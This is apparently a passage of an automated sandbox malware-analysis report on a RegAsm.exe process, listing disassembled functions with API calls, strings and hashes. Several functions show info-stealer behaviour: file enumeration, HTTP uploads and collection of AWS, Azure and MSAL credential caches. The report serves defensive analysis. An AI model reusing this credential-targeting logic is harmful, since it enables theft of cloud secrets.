Instruction ID: 2f24a435fa05b30b0fe77987dfc0dd9a3579ae2d9c784dfa682a42036aa37171
Opcode Fuzzy Hash: f81c9aa0b3d1f179f8d3c47f333aa4299c86dc5e189b3bf82acf6c54e9c82d14
Instruction Fuzzy Hash: 3721E6B5D003499FDB10CF9AD984BDEBBF4EB48314F14841AE954A3350D374A944CFA0

Function 02D0ED00 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02D0ECCE,?,?,?,?,?), ref: 02D0ED8F

Memory Dump Source

Source File: 00000021.00000002.1729279747.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2d00000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b345c5cddefcef2e9d9696a4a18d50ec4fea15da70a8edfa0dbbd90565bb23bf
Instruction ID: c8e97090010c69994494e91b2e21603b1d42f0674fa0d6fe73b4ef78e4a05878
Opcode Fuzzy Hash: b345c5cddefcef2e9d9696a4a18d50ec4fea15da70a8edfa0dbbd90565bb23bf
Instruction Fuzzy Hash: F221DFB5D00349AFDB10CFAAD985ADEBBF5EB08324F14841AE958A3750D378A944CF61

Function 02D0B2A4 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,02D0C84C), ref: 02D0CA86

Memory Dump Source

Source File: 00000021.00000002.1729279747.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2d00000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 89bdff1306b54a2e707eef9c7e480a4f5bdf0004668d96098ba37b9fa4779fa8
Instruction ID: b307d60b270ba085424647d95782d0d20357e6d2d1fb7b8c82a4d6f0039dbddf
Opcode Fuzzy Hash: 89bdff1306b54a2e707eef9c7e480a4f5bdf0004668d96098ba37b9fa4779fa8
Instruction Fuzzy Hash: 611123B6C047498BCB20DF9AC584BDEFBF4EB48224F10852AD419A7350C378A945CFA0

Function 0127D4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1606366271.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_127d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe7565971c470d32e9214147dccebc887c63ea01a6104a36f595017c7676201
Instruction ID: 1f410c03e54f0b8b84b3111646253d18c63cc2f152f71638cc4bbce81706b29e
Opcode Fuzzy Hash: ebe7565971c470d32e9214147dccebc887c63ea01a6104a36f595017c7676201
Instruction Fuzzy Hash: A52133B1614208DFDB15DF94E9C0B17BF61FF88328F248169D9090B206C336D846CBA2

Function 0142D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1610858337.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_142d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8fd7df3ce2e2be4b8d425a22e36f3635ef46a81feda9624eb257fd8805a774
Instruction ID: a8a54023509b042e50a4e6ba7f065889332559d725d07f41fe7f13f11b5b706b
Opcode Fuzzy Hash: 2c8fd7df3ce2e2be4b8d425a22e36f3635ef46a81feda9624eb257fd8805a774
Instruction Fuzzy Hash: A6212271A04200EFDB15DF94D9C0B26BBA1FB85324F60C6AED8094B362C736D887CA71

Function 0142D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1610858337.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_142d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be101fa0dddc5f95c49fda178c741c222597e91c73a2a850bfee7191be6e02dd
Instruction ID: f8889f3ef6cc198309d8c8774f738665efd2708a15d8751a39f1dd4c8a1da35b
Opcode Fuzzy Hash: be101fa0dddc5f95c49fda178c741c222597e91c73a2a850bfee7191be6e02dd
Instruction Fuzzy Hash: 932134B1A04340DFDB15DF54D9C4B16BBA1EB84318F60C56ED94A4B376C33AD887CA62

Function 0142D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1610858337.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_142d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ffbc91dccc416c58e01645c1c221cf25204fb225c3300a7a1f617fbe38aa487
Instruction ID: 66c1ed88f76f759b508e4c8c55ec7152ed74f619ea5f11b085af432703439d2d
Opcode Fuzzy Hash: 3ffbc91dccc416c58e01645c1c221cf25204fb225c3300a7a1f617fbe38aa487
Instruction Fuzzy Hash: F72180755093808FCB16CF24D990716BF71EB46218F28C5DBD8498B667C33A984ACB62

Function 0127D4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1606366271.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_127d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e83108a828416d88d7f272b3f2755be97ddf656ef7a6276a7e4349741c6bac78
Instruction ID: 020879e5c7e253a091153445391ab5b907d52ad302de31bb6f42a695899c2e0b
Opcode Fuzzy Hash: e83108a828416d88d7f272b3f2755be97ddf656ef7a6276a7e4349741c6bac78
Instruction Fuzzy Hash: 6711E176504284CFCB16CF44D9C0B16BF71FF84328F2486A9D9090B216C33AD45ACBA1

Function 0142D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1610858337.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_142d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58a893419e90e8b14bbeba2baa231337c5ba86670ff65a75270ba417a41c023a
Instruction ID: 3962b105e8b8832b86a4ffde2da0d3e594f6815e7d5e70d69a97647764d301c3
Opcode Fuzzy Hash: 58a893419e90e8b14bbeba2baa231337c5ba86670ff65a75270ba417a41c023a
Instruction Fuzzy Hash: 6311BB75904280DFDB06CF54C6C0B16BBA1FB85324F28C6AED8494B766C33AD48ACB61

Analysis Process: RegAsm.exePID: 2508, Parent PID: 2196COMMON

Executed Functions

Function 69A535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(69ADF688,00001000), ref: 69A535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 69A535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 69A535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 69A5363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 69A5369F
__aulldiv.LIBCMT ref: 69A536E4
QueryPerformanceCounter.KERNEL32(?), ref: 69A53773
EnterCriticalSection.KERNEL32(69ADF688), ref: 69A5377E
LeaveCriticalSection.KERNEL32(69ADF688), ref: 69A537BD
QueryPerformanceCounter.KERNEL32(?), ref: 69A537C4
EnterCriticalSection.KERNEL32(69ADF688), ref: 69A537CB
LeaveCriticalSection.KERNEL32(69ADF688), ref: 69A53801
__aulldiv.LIBCMT ref: 69A53883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 69A53902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 69A53918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 69A5394C

Strings

QPC, xrefs: 69A538FC
GenuntelineI, xrefs: 69A53639
MOZ_TIMESTAMP_MODE, xrefs: 69A535DB
AuthcAMDenti, xrefs: 69A53946
GTC, xrefs: 69A53912

Memory Dump Source

Source File: 00000027.00000002.2129898723.0000000069A51000.00000020.00000001.01000000.00000020.sdmp, Offset: 69A50000, based on PE: true

Associated: 00000027.00000002.2126696666.0000000069A50000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2148703684.0000000069ACD000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2150044617.0000000069ADE000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2152378985.0000000069AE2000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_69a50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: e3be03fea725b7572dec2d01b9100cf10e3bb0afbfdfa91ffefb63432adb5779
Instruction ID: b528c717abc06cae6f4f24168d7245a9c3991329b0286a3e45f28dc09b46acb6
Opcode Fuzzy Hash: e3be03fea725b7572dec2d01b9100cf10e3bb0afbfdfa91ffefb63432adb5779
Instruction Fuzzy Hash: 3FB1A4B1A14390DFDB08CF28C95561AB7E5FBCAB00F05C52EE499D3390DB30994ACB81

Function 0040D8C0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Strings

H$, xrefs: 0040DA13
", xrefs: 0040DADF

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: H$$"
API String ID: 3334442632-1958813413
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 004048D0 Relevance: 37.2, APIs: 11, Strings: 10, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,00E03B20), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,00E03B40), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,00E03B10,?,00E03130,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

;, xrefs: 0040497F
0;, xrefs: 00404C19
------, xrefs: 00404B78
`-, xrefs: 00404BEF, 00404D30
", xrefs: 00404C42
------, xrefs: 00404A0D
@;, xrefs: 00404D5A
01, xrefs: 00404B4C
", xrefs: 00404D83
------, xrefs: 00404CB9

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: ;$"$"$------$------$------$01$0;$@;$`-
API String ID: 2402878923-2500980445
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00E03AB0), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

msal.cache, xrefs: 004149D0
\.aws\, xrefs: 0041492D
\.azure\, xrefs: 004148A1
Azure\.IdentityService, xrefs: 004149CB
Azure\.azure, xrefs: 004148B3
*.*, xrefs: 004148B8
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.IdentityService\, xrefs: 004149B9
*.*, xrefs: 00414944
Azure\.aws, xrefs: 0041493F

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00DFAA70,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
